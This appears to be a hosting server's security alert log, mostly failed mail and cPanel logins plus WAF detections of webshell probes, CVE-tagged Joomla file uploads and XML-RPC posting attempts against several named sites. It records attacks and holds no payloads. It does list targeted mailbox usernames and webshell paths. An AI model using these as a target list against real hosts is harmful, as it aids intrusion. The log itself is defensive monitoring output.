2026-07-20 01:08:17 dovecot_login authenticator failed for H=([49.124.142.132]) [59.97.52.95]:39125: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 01:08:23 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([45.178.227.128]) [37.207.215.2]:8692: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-20 01:08:28 dovecot_login authenticator failed for H=([185.245.184.230]) [218.159.144.187]:38873: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.224.37.41
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/813530484 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.48.176.134
country_id: 3686110
description:
2026-07-20 01:12:32 dovecot_login authenticator failed for H=([120.195.50.149]) [181.48.176.134]:45032: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.83.113.3
country_id: 3175395
description:
2026-07-20 01:12:49 dovecot_login authenticator failed for H=([72.207.33.65]) [151.83.113.3]:51482: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-20 01:13:18 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp (syn-173-094-109-122.res.spectrum.com) [202.212.191.16]:50569: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.252
country_id: 1733045
description:
2026-07-20 01:13:50 dovecot_login authenticator failed for H=(c83-255-209-245.bredband.tele2.se) [49.124.147.252]:59756: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.228.197.130
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8f2849750 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.127.161.76
country_id: 1668284
description:
2026-07-20 01:23:05 dovecot_login authenticator failed for H=59-127-161-76.hinet-ip.hinet.net ([197.219.228.242]) [59.127.161.76]:49875: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-20 01:22:35 dovecot_login authenticator failed for H=(c83-191-181-23.bredband.tele2.se) [41.215.125.250]:52968: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 160.250.133.240
country_id: 1562822
description:
2026-07-20 01:29:17 H=([160.250.133.240]) [160.250.133.240]:62920 F=<freadmark@fmarkmorgan.com> rejected RCPT <info@elegantautomotives.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.89.212.207
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/18702162 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.9.15.100
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 20.9.15.100
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/classwithtostring.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.9.15.100
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.9.15.100
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/423_index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-20 01:35:56 dovecot_login authenticator failed for H=([212.132.64.89]) [182.95.102.190]:44722: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.245.133.202
country_id: 2077456
description:
2026-07-20 01:36:42 dovecot_login authenticator failed for H=220-245-133-202.tpgi.com.au ([125.138.166.217]) [220.245.133.202]:50863: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.196.183.244
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/32602422 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-20 01:43:29 dovecot_login authenticator failed for H=([187.93.51.46]) [182.95.102.190]:47264: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.54.46.34
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/363527020 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 70.188.121.112
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/781961953 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 174.170.237.178
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b32998744 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-20 01:58:45 dovecot_login authenticator failed for H=([106.0.166.123]) [217.29.30.135]:33789: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.66
country_id: 1269750
description:
2026-07-20 01:59:00 dovecot_login authenticator failed for H=([124.153.238.79]) [182.95.232.66]:57268: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-20 02:00:27 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com ([122.187.230.250]) [90.230.168.26]:54770: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 02:00:42 dovecot_login authenticator failed for H=([179.185.69.43]) [102.210.148.41]:44366: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-20 02:07:44 dovecot_login authenticator failed for H=([217.59.129.131]) [218.156.93.203]:49895: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.164.111.251
country_id: 6252001
description:
2026-07-20 02:08:15 dovecot_login authenticator failed for H=c-174-164-111-251.hsd1.wa.comcast.net ([103.93.37.178]) [174.164.111.251]:45760: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-20 02:10:10 dovecot_login authenticator failed for H=([111.26.167.166]) [106.0.165.219]:33447: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-20 02:10:28 dovecot_login authenticator failed for H=([178.244.215.186]) [41.224.62.206]:58655: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.31.10
country_id: 2921044
description:
2026-07-20 02:11:12 dovecot_login authenticator failed for H=([49.124.152.242]) [154.14.31.10]:52114: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-20 02:10:45 dovecot_login authenticator failed for H=(vmi3407316.contaboserver.net) [103.109.13.50]:54684: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.41.58.74
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e93014949 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-20 02:12:29 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp (dsl-ncr-dynamic-110.155.23.125.airtelbroadband.in) [218.219.193.151]:51882: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-20 02:12:41 dovecot_login authenticator failed for H=(213-66-197-199-no2550.tbcn.telia.com) [2.59.162.146]:55082: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-20 02:12:41 dovecot_login authenticator failed for H=(a4.ucndns.in) [175.213.137.209]:34512: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.169.236.186
country_id: 1835841
description:
2026-07-20 02:12:51 dovecot_login authenticator failed for H=([152.52.200.6]) [121.169.236.186]:41854: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-20 02:22:48 dovecot_login authenticator failed for H=([196.189.51.64]) [70.120.9.176]:49387: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-20 02:23:05 dovecot_login authenticator failed for H=(161-38-154-134.fidnet.com) [94.16.17.139]:40450: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 100.14.134.66
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/06377495 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-20 02:28:27 dovecot_login authenticator failed for H=([67.201.38.131]) [112.161.42.97]:38711: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.31.10
country_id: 2921044
description:
2026-07-20 02:28:35 dovecot_login authenticator failed for H=([109.244.44.21]) [154.14.31.10]:42167: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 136.114.215.123
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:ibmcglobal||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.9.15.100
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/assets/images/about.php||SC:/home/elegantautomotiv/public_html/assets||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.232.225.79
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/843579205 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 91.243.116.144
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_8fc72003.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.101.102.237
country_id: 6252001
description:
2026-07-20 02:32:27 dovecot_login authenticator failed for H=c-73-101-102-237.hsd1.pa.comcast.net ([121.120.42.31]) [73.101.102.237]:52711: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.236.209
country_id: 6252001
description:
2026-07-20 02:32:49 dovecot_login authenticator failed for H=wsip-70-183-236-209.pn.at.cox.net (81-230-11-165-no2664.tbcn.telia.com) [70.183.236.209]:48912: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.9.15.100
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-includes/images/autoload_classmap.php||SC:/home/elegantautomotiv/public_html/wp-includes/images||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.9.15.100
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/elegantautomotiv/public_html/wp-includes/sodium_compat||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 91.92.42.135
country_id: 2750405
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-e4ab573d.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-20 02:41:05 dovecot_login authenticator failed for H=([111.53.189.3]) [182.95.228.106]:34752: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-20 02:41:34 dovecot_login authenticator failed for H=([27.123.98.22]) [103.126.217.41]:36238: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-20 02:42:10 dovecot_login authenticator failed for H=(host-79-16-52-109.retail.telecomitalia.it) [119.192.59.80]:33956: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-20 02:42:38 dovecot_login authenticator failed for H=([183.167.217.86]) [197.219.208.58]:45716: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-20 02:42:41 dovecot_login authenticator failed for H=([106.201.80.104]) [13.68.214.34]:33288: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-20 02:45:13 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([157.211.1.171]) [80.223.163.253]:59884: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.183.235.134
country_id: 6252001
description:
2026-07-20 02:45:24 dovecot_login authenticator failed for H=(40.red-81-42-225.staticip.rima-tde.net) [65.183.235.134]:41870: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-20 02:47:47 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.192
country_id: 1733045
description:
2026-07-20 02:49:03 dovecot_login authenticator failed for H=(static-ip-181540165138.cable.net.co) [49.124.148.192]:57718: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-20 02:48:33 dovecot_login authenticator failed for H=([103.176.160.146]) [122.169.40.221]:55316: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.91.50
country_id: 1269750
description:
2026-07-20 02:49:34 dovecot_login authenticator failed for H=([183.11.220.66]) [116.74.91.50]:59978: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.253.174
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e13656371 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: kallanigroup.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784496342465.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 136.158.82.57
country_id: 1694008
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:52509.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:35179a3568f328b2aae1a70a29e7421bbcbfa263||Title:0x1dd8292a||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.76.222.214
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/hotels-and-offices HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.177.12.54
country_id: 1269750
description:
2026-07-20 03:00:52 dovecot_login authenticator failed for H=([112.6.114.199]) [59.177.12.54]:54781: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.134.25.229
country_id: 3175395
description:
2026-07-20 03:01:06 dovecot_login authenticator failed for H=([206.62.136.111]) [78.134.25.229]:54497: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 50.48.218.111
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/09143871 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.238.177.113
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c525093 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.197.47.189
country_id: 272103
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/492995763 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.98.143.156
country_id: 783754
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/maritime-sectors/maritime-consultancy HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-20 03:58:05 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([201.28.246.221]) [81.236.211.54]:57966: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.232.153.182
country_id: 3865483
description:
2026-07-20 03:58:05 dovecot_login authenticator failed for H=([218.29.196.162]) [24.232.153.182]:42616: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-20 04:01:37 dovecot_login authenticator failed for H=([174.77.111.220]) [51.116.117.203]:33862: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.107.154
country_id: 1269750
description:
2026-07-20 04:01:56 dovecot_login authenticator failed for H=(mx-ll-223.204.180-222.dynamic.3bb.co.th) [27.123.107.154]:50202: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 04:02:19 dovecot_login authenticator failed for H=([210.204.28.60]) [102.210.148.41]:48042: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.116.114
country_id: 1269750
description:
2026-07-20 04:02:44 dovecot_login authenticator failed for H=([178.176.250.149]) [128.185.116.114]:45028: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-20 04:02:56 dovecot_login authenticator failed for H=([111.53.189.3]) [196.0.113.110]:39170: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-20 04:04:31 dovecot_login authenticator failed for H=([178.176.229.36]) [78.187.9.111]:56135: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.36.221.107
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ee2601716 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.206.107.78
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/futuracarecom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.206.107.78
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784500975578.PhP||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.235.25.2
country_id: 2635167
description:
2026-07-20 04:13:17 dovecot_login authenticator failed for H=([49.124.149.53]) [213.235.25.2]:37294: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-20 04:13:22 dovecot_login authenticator failed for H=([203.193.137.250]) [136.56.34.147]:57878: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-20 04:13:33 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com (181-212-174-164.baf.movistar.cl) [220.246.40.63]:57839: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-20 04:14:20 dovecot_login authenticator failed for H=(90.pool90-173-78.static.orange.es) [197.219.208.38]:38074: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.81.75
country_id: 2661886
description:
2026-07-20 04:15:22 dovecot_login authenticator failed for H=31-208-81-75.cust.bredband2.com ([24.193.147.183]) [31.208.81.75]:36996: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.104.218
country_id: 2077456
description:
2026-07-20 04:15:25 dovecot_login authenticator failed for H=114-30-104-218.tpgi.com.au ([113.193.187.154]) [114.30.104.218]:34485: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-20 04:15:11 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([102.36.141.61]) [176.10.203.54]:39530: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-20 04:15:13 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com ([128.1.12.54]) [34.41.211.48]:33730: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-20 04:15:14 dovecot_login authenticator failed for H=([174.75.211.217]) [219.248.4.146]:44294: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.94.109.122
country_id: 6252001
description:
2026-07-20 04:16:15 dovecot_login authenticator failed for H=([174.64.199.92]) [173.94.109.122]:44182: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 46.197.157.78
country_id: 298795
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:44391.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d8b5b32a536c0b277db5f0ddfc50694739c16e65||Title:0xa28c163c||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 143.44.184.170
country_id: 1694008
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:10954.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9f042ddd635713dcb1ed195c3cd01881dcf2f810||Title:0xad935100||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.73.135.82
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/232536681 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-20 04:26:22 dovecot_login authenticator failed for H=([210.179.9.79]) [205.209.67.3]:39258: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.88.116.62
country_id: 1880251
description:
